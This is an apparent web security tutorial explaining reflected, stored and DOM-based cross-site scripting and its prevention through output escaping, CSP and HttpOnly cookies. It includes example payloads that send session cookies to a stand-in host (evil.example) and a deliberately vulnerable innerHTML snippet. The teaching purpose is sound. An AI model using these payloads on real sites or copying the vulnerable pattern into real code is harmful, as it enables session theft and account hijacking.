XSS: Reflected, Stored, and DOM-based
Cross-Site Scripting (XSS) lets an attacker inject scripts that execute in another user’s browser, within the context of a trusted site. It can steal session cookies, redirect users, or manipulate the DOM.
Types of XSS
Reflected (Non-Persistent)
The payload travels in the URL or form, echoed in the response without being stored.
https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
The victim clicks a link sent by the attacker. The server reflects the input without sanitizing it.
Stored (Persistent)
The payload is saved in the database and displayed to every user who visits the page.
"Bio" field on a profile:
<img src=x onerror="fetch('https://evil.example/log?c='+btoa(document.cookie))">
Any visitor to that profile executes the script automatically.
DOM-based
The payload never reaches the server; the site’s own JavaScript writes user-controlled data into the DOM without sanitization.
// Vulnerable frontend code
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// URL: https://example.com/page#<img src=x onerror=alert(1)>
Real-World Impact
- Session cookie theft → account hijacking.
- Keylogger: captures everything the user types on the page.
- Internal phishing: replaces a legitimate form with a fake one.
- UI defacement visible to all visitors.
Prevention
Escape Output According to Context
// HTML context
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// HTML attribute context
echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// DOM context — prefer textContent, not innerHTML
element.textContent = userInput; // safe
// element.innerHTML = userInput; // NEVER with user data
Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
CSP blocks inline scripts and unauthorized origins, reducing impact even if XSS occurs.
HttpOnly and Secure Cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly prevents access via document.cookie — the most targeted cookie in XSS attacks.
Defensive Checklist
- Never insert user data with
innerHTML,document.write, oreval. - Use template libraries that escape by default (React, Angular, Jinja2).
- Validate and reject input containing unexpected characters (
<,>,",'). - Deploy CSP in report-only mode before enforcing.
- Run a DAST scanner (OWASP ZAP) in your CI/CD pipeline.